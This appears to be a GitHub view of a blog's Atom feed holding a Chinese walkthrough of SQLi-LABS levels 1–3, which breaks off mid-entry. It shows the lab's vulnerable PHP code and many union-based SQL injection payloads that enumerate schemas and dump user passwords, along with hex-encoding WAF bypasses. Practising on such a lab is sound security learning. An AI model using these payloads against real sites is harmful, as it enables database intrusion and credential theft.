-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathatom.xml
515 lines (300 loc) · 440 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>国光</title>
<subtitle>安安静静写博客</subtitle>
<link href="/atom.xml" rel="self"/>
<link href="http://www.sqlsec.com/"/>
<updated>2017-12-20T12:22:03.000Z</updated>
<id>http://www.sqlsec.com/</id>
<author>
<name>国光</name>
</author>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title>SQLi-LABS 系列 第1到4关</title>
<link href="http://www.sqlsec.com/2017/12/sqlilabs1.html"/>
<id>http://www.sqlsec.com/2017/12/sqlilabs1.html</id>
<published>2017-12-19T16:00:00.000Z</published>
<updated>2017-12-20T12:22:03.000Z</updated>
<content type="html"><![CDATA[<p><img src="http://image.3001.net/images/20171220/15137709982478.png" alt="sqlinjection"><br>发现以前对手工注入理解的很不透彻,最近准备来系统的学习下手工注入,所以本地搭建了SQLi-Labs环境来练习。做个记录,供日后自己复习查看。<br><a id="more"></a></p><h1 id="Less-1"><a href="#Less-1" class="headerlink" title="Less-1"></a>Less-1</h1><h2 id="注入类型"><a href="#注入类型" class="headerlink" title="注入类型"></a>注入类型</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">GET - 基于错误 - 单引号 - 字符型</div><div class="line">GET - Error based - Single quotes - String</div></pre></td></tr></table></figure><h2 id="过程"><a href="#过程" class="headerlink" title="过程"></a>过程</h2><h3 id="尝试id值"><a href="#尝试id值" class="headerlink" title="尝试id值"></a>尝试id值</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">index.php?id=1</div><div class="line">index.php?id=2</div><div class="line">页面返回正常,内容随着id的变化而变化</div></pre></td></tr></table></figure><p><strong>猜测SQL语句为</strong><br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">select</span> username,<span class="keyword">password</span> <span class="keyword">from</span> <span class="keyword">table</span> <span class="keyword">where</span> <span class="keyword">id</span> = <span class="keyword">input</span></div></pre></td></tr></table></figure></p><h3 id="and尝试"><a href="#and尝试" class="headerlink" title="and尝试"></a>and尝试</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">index.php?id=1 and 1=1 返回正常</div><div class="line">index.php?id=2 and 1=2 返回正常</div></pre></td></tr></table></figure><p>这里返回都正常,说明上面推测的<code>SQL</code>语句是有问题的。</p><h3 id="单引号测试"><a href="#单引号测试" class="headerlink" title="单引号测试"></a>单引号测试</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">index.php?id=1'</div><div class="line">得到报错信息:</div><div class="line">MySQL server version for the right syntax to <span class="keyword">use</span> near <span class="string">''</span><span class="number">1</span><span class="string">''</span> <span class="keyword">LIMIT</span> <span class="number">0</span>,<span class="number">1</span><span class="string">' at line 1</span></div></pre></td></tr></table></figure><h3 id="斜杠测试"><a href="#斜杠测试" class="headerlink" title="斜杠测试"></a>斜杠测试</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">index.php?id=1\</div><div class="line">得到报错信息:</div><div class="line">MySQL server version for the right syntax to <span class="keyword">use</span> near <span class="string">''</span><span class="number">1</span>\<span class="string">' LIMIT 0,1'</span> <span class="keyword">at</span> line <span class="number">1</span></div></pre></td></tr></table></figure><h3 id="推理"><a href="#推理" class="headerlink" title="推理"></a>推理</h3><p>报错最外面的<code>单引号</code>是程序用来标注错误的<code>单引号</code>,然后如下区分:<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">near ' '1'' LIMIT 0,1 ' at line 1</div><div class="line">near ' '1\' LIMIT 0,1 ' at line 1</div></pre></td></tr></table></figure></p><p>这里面外面输出的为:<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">'1'' LIMIT 0,1</div><div class="line">'1\' LIMIT 0,1</div></pre></td></tr></table></figure></p><p>说明源码中的<code>SQL</code>的语句里,<code>id</code>应该是有<code>单引号</code>去标注的。<br><strong>再次猜测SQL语句为</strong><br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">select</span> username,<span class="keyword">password</span> <span class="keyword">from</span> <span class="keyword">table</span> <span class="keyword">where</span> <span class="keyword">id</span> = <span class="string">'input'</span></div></pre></td></tr></table></figure></p><h2 id="源码"><a href="#源码" class="headerlink" title="源码"></a>源码</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div></pre></td><td class="code"><pre><div class="line"><span class="meta"><?php</span></div><div class="line">$sql=<span class="string">"SELECT * FROM users WHERE id='$id' LIMIT 0,1"</span>;</div><div class="line">$result=mysql_query($sql);</div><div class="line">$row = mysql_fetch_array($result);</div><div class="line"><span class="keyword">if</span>($row)</div><div class="line">{</div><div class="line"> <span class="keyword">echo</span> <span class="string">'Your Login name:'</span>. $row[<span class="string">'username'</span>];</div><div class="line"> <span class="keyword">echo</span> <span class="string">'Your Password:'</span> .$row[<span class="string">'password'</span>];</div><div class="line"> }</div><div class="line"><span class="keyword">else</span> </div><div class="line">{</div><div class="line">print_r(mysql_error());</div><div class="line">}</div><div class="line">}</div><div class="line"><span class="keyword">else</span> { <span class="keyword">echo</span> <span class="string">"Please input the ID as parameter with numeric value"</span>;}</div><div class="line"><span class="meta">?></span></div></pre></td></tr></table></figure><h2 id="Payload构造"><a href="#Payload构造" class="headerlink" title="Payload构造"></a>Payload构造</h2><p>输入的攻击代码输入后,代入<code>SQL</code>语句查询后如下:<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">select</span> username,<span class="keyword">password</span> <span class="keyword">from</span> <span class="keyword">table</span> <span class="keyword">where</span> <span class="keyword">id</span> = <span class="string">'input 攻击代码'</span></div></pre></td></tr></table></figure></p><p>攻击代码的要求:</p><ul><li>语句是正确的(正确的去闭合SQL语句)</li><li>可以获取到敏感信息</li></ul><h3 id="引号闭合"><a href="#引号闭合" class="headerlink" title="引号闭合"></a>引号闭合</h3><p>先闭合单引号,保证不会出现语法错误。<code>payload</code>如下:<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">id =1 ' and '1' ='1</div></pre></td></tr></table></figure></p><p>代入<code>SQL</code>语句中为:<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">select</span> username,<span class="keyword">password</span> <span class="keyword">from</span> <span class="keyword">table</span> <span class="keyword">where</span> <span class="keyword">id</span> = <span class="string">'1'</span> <span class="keyword">and</span> <span class="string">'1'</span> =<span class="string">'1'</span></div></pre></td></tr></table></figure></p><p>发现单引号的确都完美的闭合了,理论上来说,不会再出现语法错误了。</p><h3 id="通过注释"><a href="#通过注释" class="headerlink" title="通过注释"></a>通过注释</h3><p><code>MySQL</code>语句中的注释<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">-- 这里就是被注释的语句(注意--后面是有一个空格的)</div></pre></td></tr></table></figure></p><p>一般我们用<code>+</code>去替换空格,避免我们遗漏,然后构造的<code>payload</code>如下:<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">id =1 ' and 1=1 <span class="comment">--+</span></div></pre></td></tr></table></figure></p><p>代入<code>SQL</code>语句中为:<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">select</span> username,<span class="keyword">password</span> <span class="keyword">from</span> <span class="keyword">table</span> <span class="keyword">where</span> <span class="keyword">id</span> = <span class="string">'1'</span> <span class="keyword">and</span> <span class="number">1</span>=<span class="number">1</span> <span class="comment">--+‘</span></div></pre></td></tr></table></figure></p><p>最后面的<code>单引号</code>被注释了,前面的单引号闭合是正确的,这里只要保证了前面的<code>单引号</code>是正确的,就可以执行<code>SQL</code>注入语句。</p><h2 id="验证注入"><a href="#验证注入" class="headerlink" title="验证注入"></a>验证注入</h2><p>既然已经构造好了2种<code>payload</code>,那么就去验证注入是否存在吧。</p><h3 id="闭合引号"><a href="#闭合引号" class="headerlink" title="闭合引号"></a>闭合引号</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">index.php?id=1' and '1' ='1 </div><div class="line">**实际测试中,未来防止我们漏掉空格,建议用`+`来替代空格**</div><div class="line">index.php?id=1'+and+'1'+='1</div></pre></td></tr></table></figure><p>页面返回情况:<br><img src="http://image.3001.net/images/20171219/15136722563670.png" alt=""><br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">index.php?id=1'+and+'1'+='2</div></pre></td></tr></table></figure></p><p>页面返回情况:<br><img src="http://image.3001.net/images/20171219/15136723803781.png" alt=""><br>由于2次页面返回的结果不同,这里验证了<code>SQL</code>注入的存在</p><h3 id="注释"><a href="#注释" class="headerlink" title="注释"></a>注释</h3><p>首先<code>and 1=1</code><br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">index.php?id=1'+and+1=1<span class="comment">--+</span></div></pre></td></tr></table></figure></p><p>然后<code>and 1=2</code><br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">index.php?id=1'+and+1=2<span class="comment">--+</span></div></pre></td></tr></table></figure></p><p>2次页面返回的结果也不同,这里也验证了<code>SQL</code>注入的存在</p><h2 id="实战拓展"><a href="#实战拓展" class="headerlink" title="实战拓展"></a>实战拓展</h2><p>验证完存在注入当然不能满足我们的需求,这里下面介绍一些实战中常用到的<code>SQL</code>注入姿势。</p><h3 id="猜测字段数目"><a href="#猜测字段数目" class="headerlink" title="猜测字段数目"></a>猜测字段数目</h3><p>首先来猜测字段数目<br><code>order by 3</code><br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">index.php?id=1'+order+by+3<span class="comment">--+</span></div></pre></td></tr></table></figure></p><p>页面返回正常<br><img src="http://image.3001.net/images/20171219/1513673951752.png" alt=""><br>然后<br><code>order by 4</code><br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">index.php?id=1'+order+by+4<span class="comment">--+</span></div></pre></td></tr></table></figure></p><p>页面返回错误<br><img src="http://image.3001.net/images/20171219/1513674042848.png" alt=""><br>这里报错为<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">Unknown column '4' in 'order clause'</div></pre></td></tr></table></figure></p><p>说明这里并没有 4 个<code>column</code>,说明表的字段只有<code>3</code>个,我们来进数据库验证下:<br>果然表中只有<code>id</code>和<code>username</code>、<code>password</code>这<code>3</code>个字段<br><img src="http://image.3001.net/images/20171219/15136741282210.png" alt=""><br><strong>结论</strong><br>字段数为<code>3</code></p><h3 id="union-select-联合查询对应的字段"><a href="#union-select-联合查询对应的字段" class="headerlink" title="union select 联合查询对应的字段"></a>union select 联合查询对应的字段</h3><p>首先要让网页返回错误的信息,这里面用<code>id=-1</code>来报错,也可以尝试使用<code>and 1=2</code>来报错。<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">?id=-1'+union+<span class="keyword">select</span>+<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span><span class="comment">--+</span></div></pre></td></tr></table></figure></p><p>返回信息如下:<br><img src="http://image.3001.net/images/20171219/15136746034612.png" alt=""><br>这里面返回的错误信息如下:<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">Your Login name:2</div><div class="line">Your Password:3</div></pre></td></tr></table></figure></p><p>说明 <code>Login name</code>后面的结果所查询的表字段对应的为<code>2</code>,<code>Password</code>后面的结果所查询的表字段对应的为<code>3</code><br>查看数据库的表结构,验证了我们的结果,字段<code>2</code>的列名为<code>username</code>,字段<code>3</code>的列名为<code>password</code></p><h3 id="利用字段号收集信息"><a href="#利用字段号收集信息" class="headerlink" title="利用字段号收集信息"></a>利用字段号收集信息</h3><p>这里把报出的数字(字段号),替换关键词,可以直接从数据库返回查询的结果<br>举个例子:<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">?id=-1'+union+<span class="keyword">select</span>+<span class="number">1</span>,<span class="keyword">user</span>(),<span class="keyword">database</span>()<span class="comment">--+</span></div></pre></td></tr></table></figure></p><p><img src="http://image.3001.net/images/20171219/15136752142545.png" alt=""> </p><p>常见的关键字变量如下:<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div></pre></td><td class="code"><pre><div class="line">database() 查询当前数据库</div><div class="line">user() 查询数据库用户</div><div class="line">version() 查询数据库版本</div><div class="line">@@version 查询数据库版本</div><div class="line">@@basedir MySQL安装基准目录</div><div class="line">@@datadir 数据库存储的地方</div><div class="line">@@have_openssl 如果mysqld支持客户端/服务器协议的SSL(加密)则为YES</div><div class="line">@@max_user_connections MySQL账户允许的最大同时连接数,<span class="number">0</span>表示没限制</div><div class="line">@@version_compile_os 判断系统类型</div><div class="line">@@group_concat_max_len 允许group_concat()函数结果的最大长度</div><div class="line">@@log_error 错误日志的位置</div><div class="line">@@plugin_dir 插件目录的路径</div><div class="line">@@tmpdir 保存临时文件和临时表的目录</div></pre></td></tr></table></figure></p><p><code>group_concat()</code>函数的利用如下<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">url and 1=2 union <span class="keyword">select</span> <span class="number">1</span>,<span class="keyword">group_concat</span>(schema_name),<span class="number">3</span>,<span class="number">4</span> <span class="keyword">from</span> information_schema.schemata</div></pre></td></tr></table></figure></p><p>这样的话,就可以把当前用户中建立数据库名全部显示出来,在注射表名、字段名、字段属性都可以使用,这样的话又省了不少体力活</p><p>同时<code>group_concat()</code>还可以绕过不能使用<code>limit</code>的现实,当然不嫌累的话,可以使用<code>"!="</code>的形式来绕过<code>limit</code>的限制。</p><h3 id="查询表名"><a href="#查询表名" class="headerlink" title="查询表名"></a>查询表名</h3><p>猜解表名的原理是利用MySQL中的<code>information_schema</code>表名中的tables的信息来查询的。<br><strong>方法一</strong><br>利用<code>group_concat(table_name)</code>来查询表名,<code>from information_schema.tables</code><br>这里<code>table_schema=database()</code><br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">index.php?id=-1'+union+<span class="keyword">select</span>+<span class="number">1</span>,<span class="keyword">group_concat</span>(table_name),<span class="keyword">database</span>()+<span class="keyword">from</span>+information_schema.tables+<span class="keyword">where</span>+table_schema=<span class="keyword">database</span>()<span class="comment">--+</span></div></pre></td></tr></table></figure></p><p><strong>方法二</strong><br><code>table_schema='security'</code><br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">index.php?id=-1'+union+<span class="keyword">select</span>+<span class="number">1</span>,<span class="keyword">group_concat</span>(table_name),<span class="keyword">database</span>()+<span class="keyword">from</span>+information_schema.tables+<span class="keyword">where</span>+table_schema=<span class="string">'security'</span><span class="comment">--+</span></div></pre></td></tr></table></figure></p><p><img src="http://image.3001.net/images/20171220/1513734385351.png" alt=""> </p><p><strong>方法三</strong><br><code>table_schema=0x7365637572697479</code>这里的<code>0x7365637572697479</code>就是<code>security</code>的<code>hex</code>编码,听说编码多少都是可以 Bypass WAF的<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">index.php?id=-1'+union+<span class="keyword">select</span>+<span class="number">1</span>,<span class="keyword">group_concat</span>(table_name),<span class="keyword">database</span>()+<span class="keyword">from</span>+information_schema.tables+<span class="keyword">where</span>+table_schema=<span class="number">0x7365637572697479</span><span class="comment">--+</span></div></pre></td></tr></table></figure></p><p><strong>方法四</strong><br>Bypass WAF技巧 使用<br><code>unhex(hex(group_concat(table_name)))</code><br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">index.php?id=-1'+union+<span class="keyword">select</span>+<span class="number">1</span>,<span class="keyword">unhex</span>(<span class="keyword">hex</span>(<span class="keyword">group_concat</span>(table_name))),<span class="keyword">database</span>()+<span class="keyword">from</span>+information_schema.tables+<span class="keyword">where</span>+table_schema=<span class="keyword">database</span>()<span class="comment">--+</span></div></pre></td></tr></table></figure></p><p><img src="http://image.3001.net/images/20171219/15136865336518.png" alt=""> </p><p><strong>方法五</strong><br>单个查询,不需要使用<code>GROUP_CONCAT</code>一起查询,使用 <code>limit 0,1</code>来逐步调整 逐条查询<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">index.php?id=-1' UNION <span class="keyword">SELECT</span> <span class="number">1</span>,table_name,<span class="number">3</span> <span class="keyword">FROM</span> information_schema.tables <span class="keyword">WHERE</span> table_schema=<span class="string">'security'</span> <span class="keyword">limit</span> <span class="number">0</span>,<span class="number">1</span><span class="comment">--+</span></div><div class="line">index.php?<span class="keyword">id</span>=<span class="number">-1</span><span class="string">' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='</span><span class="keyword">security</span><span class="string">' limit 1,1--+</span></div><div class="line"><span class="string">index.php?id=-1'</span> <span class="keyword">UNION</span> <span class="keyword">SELECT</span> <span class="number">1</span>,table_name,<span class="number">3</span> <span class="keyword">FROM</span> information_schema.tables <span class="keyword">WHERE</span> table_schema=<span class="string">'security'</span> <span class="keyword">limit</span> <span class="number">2</span>,<span class="number">1</span><span class="comment">--+</span></div><div class="line">index.php?<span class="keyword">id</span>=<span class="number">-1</span><span class="string">' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='</span><span class="keyword">security</span><span class="string">' limit 3,1--+</span></div></pre></td></tr></table></figure></p><p><strong>拓展</strong><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">group_concat(table_name separator ':')</div></pre></td></tr></table></figure></p><p>将结果以<code>:</code>进行隔开</p><h3 id="查询列名"><a href="#查询列名" class="headerlink" title="查询列名"></a>查询列名</h3><p>查询列名用到了<code>group_concat(column_name)</code>,然后<code>from information_schema.columns where table_name=hex编码后的表名</code><br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">index.php?id=-1%27+union+<span class="keyword">select</span>+<span class="number">1</span>,<span class="keyword">group_concat</span>(column_name),<span class="keyword">database</span>()+<span class="keyword">from</span>+information_schema.columns+<span class="keyword">where</span>+table_name=<span class="string">'users'</span><span class="comment">--+</span></div></pre></td></tr></table></figure></p><p>这里的<code>0x7573657273</code>是表名<code>users</code>的hex编码</p><h3 id="直接列出字段名"><a href="#直接列出字段名" class="headerlink" title="直接列出字段名"></a>直接列出字段名</h3><p>知道了表名和列名,一条语句可以直接列出结果:<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">index.php?id=-1'+union+<span class="keyword">select</span>+<span class="number">1</span>,<span class="keyword">id</span>,<span class="keyword">password</span>+<span class="keyword">from</span>+<span class="keyword">users</span><span class="comment">--+</span></div></pre></td></tr></table></figure></p><p>这里的<code>users</code>还可以这样写<code>security.users</code><br>整个句子也还可以这样子写:<br><figure class="highlight r"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">index.php?id=-<span class="number">1</span><span class="string">'+union+select+1,GROUP_CONCAT(id,username,password),3+from+users--+</span></div></pre></td></tr></table></figure></p><h1 id="Less-2"><a href="#Less-2" class="headerlink" title="Less-2"></a>Less-2</h1><h2 id="注入类型-1"><a href="#注入类型-1" class="headerlink" title="注入类型"></a>注入类型</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">GET - 基于错误 - 单引号 - 数字型</div><div class="line">GET - Error based - Intiger based</div></pre></td></tr></table></figure><h2 id="过程-1"><a href="#过程-1" class="headerlink" title="过程"></a>过程</h2><h3 id="尝试id值-1"><a href="#尝试id值-1" class="headerlink" title="尝试id值"></a>尝试id值</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">index.php?id=1</div><div class="line">index.php?id=2</div><div class="line">页面返回正常,内容随着id的变化而变化</div></pre></td></tr></table></figure><p><strong>猜测SQL语句为</strong><br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">select</span> username,<span class="keyword">password</span> <span class="keyword">from</span> <span class="keyword">table</span> <span class="keyword">where</span> <span class="keyword">id</span> = <span class="keyword">input</span></div></pre></td></tr></table></figure></p><h3 id="and尝试-1"><a href="#and尝试-1" class="headerlink" title="and尝试"></a>and尝试</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">index.php?id=1 and 1=1 返回正常</div><div class="line">index.php?id=2 and 1=2 返回错误</div></pre></td></tr></table></figure><p>这里说明我们猜测是正确的</p><h2 id="源码-1"><a href="#源码-1" class="headerlink" title="源码"></a>源码</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div></pre></td><td class="code"><pre><div class="line"><span class="meta"><?php</span></div><div class="line">$sql=<span class="string">"SELECT * FROM users WHERE id=$id LIMIT 0,1"</span>;</div><div class="line">$result=mysql_query($sql);</div><div class="line">$row = mysql_fetch_array($result);</div><div class="line"></div><div class="line"><span class="keyword">if</span>($row)</div><div class="line">{</div><div class="line"> <span class="keyword">echo</span> <span class="string">'Your Login name:'</span>. $row[<span class="string">'username'</span>];</div><div class="line"> <span class="keyword">echo</span> <span class="string">'Your Password:'</span> .$row[<span class="string">'password'</span>];</div><div class="line"> }</div><div class="line"><span class="keyword">else</span> </div><div class="line">{</div><div class="line">print_r(mysql_error());</div><div class="line">}</div><div class="line">}</div><div class="line"><span class="keyword">else</span></div><div class="line">{ </div><div class="line"><span class="keyword">echo</span> <span class="string">"Please input the ID as parameter with numeric value"</span>;</div><div class="line">}</div><div class="line"><span class="meta">?></span></div></pre></td></tr></table></figure><h2 id="Payload构造-1"><a href="#Payload构造-1" class="headerlink" title="Payload构造"></a>Payload构造</h2><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">index.php?id=-1 payload</div></pre></td></tr></table></figure><h2 id="验证注入-1"><a href="#验证注入-1" class="headerlink" title="验证注入"></a>验证注入</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">index.php?id=-<span class="number">1</span> UNION SELECT <span class="number">1</span>,database(),version()--+</div></pre></td></tr></table></figure><p><img src="http://image.3001.net/images/20171219/15136881242856.png" alt=""><br><strong>实战注入语句</strong><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line">index.php?id=-<span class="number">1</span> UNION SELECT <span class="number">1</span>,GROUP_CONCAT(schema_name),<span class="number">3</span> FROM information_schema.SCHEMATA --+ <span class="comment">//获取所有数据库名</span></div><div class="line"></div><div class="line">index.php?id=-<span class="number">1</span> UNION SELECT <span class="number">1</span>,GROUP_CONCAT(table_name),<span class="number">3</span> FROM information_schema.TABLES where TABLE_SCHEMA=<span class="string">'security'</span>--+ <span class="comment">//获取表名</span></div><div class="line"></div><div class="line">index.php?id=-<span class="number">1</span> UNION SELECT <span class="number">1</span>,GROUP_CONCAT(column_name),<span class="number">3</span> FROM information_schema.COLUMNS where TABLE_NAME=<span class="string">'users'</span>--+ <span class="comment">//获取列名</span></div><div class="line"></div><div class="line">index.php?id=-<span class="number">1</span> UNION SELECT <span class="number">1</span>,GROUP_CONCAT(username,password SEPARATOR <span class="string">'---'</span>),<span class="number">3</span> FROM users--+ <span class="comment">//获取所有的字段</span></div><div class="line"></div><div class="line">index.php?id=-<span class="number">1</span> UNION SELECT <span class="number">1</span>,username,password FROM users WHERE id=<span class="number">1</span> --+ <span class="comment">//获取id为1的单个的字段</span></div></pre></td></tr></table></figure></p><p><img src="http://image.3001.net/images/20171220/15137354242398.png" alt=""> </p><h1 id="Less-3"><a href="#Less-3" class="headerlink" title="Less-3"></a>Less-3</h1><h2 id="注入类型-2"><a href="#注入类型-2" class="headerlink" title="注入类型"></a>注入类型</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">GET - 基于错误 - 单引号括号 - 字符型</div><div class="line">GET - Error based - Single quotes with twist - string</div></pre></td></tr></table></figure><h2 id="过程-2"><a href="#过程-2" class="headerlink" title="过程"></a>过程</h2><h3 id="尝试id值-2"><a href="#尝试id值-2" class="headerlink" title="尝试id值"></a>尝试id值</h3><figure class="highlight r"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">index.php?id=<span class="number">1</span></div><div class="line">index.php?id=<span class="number">2</span></div><div class="line">页面返回正常,内容随着id的变化而变化</div></pre></td></tr></table></figure><p><strong>猜测SQL语句为</strong><br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">select</span> username,<span class="keyword">password</span> <span class="keyword">from</span> <span class="keyword">table</span> <span class="keyword">where</span> <span class="keyword">id</span> = <span class="keyword">input</span></div></pre></td></tr></table></figure></p><h3 id="and尝试-2"><a href="#and尝试-2" class="headerlink" title="and尝试"></a>and尝试</h3><figure class="highlight 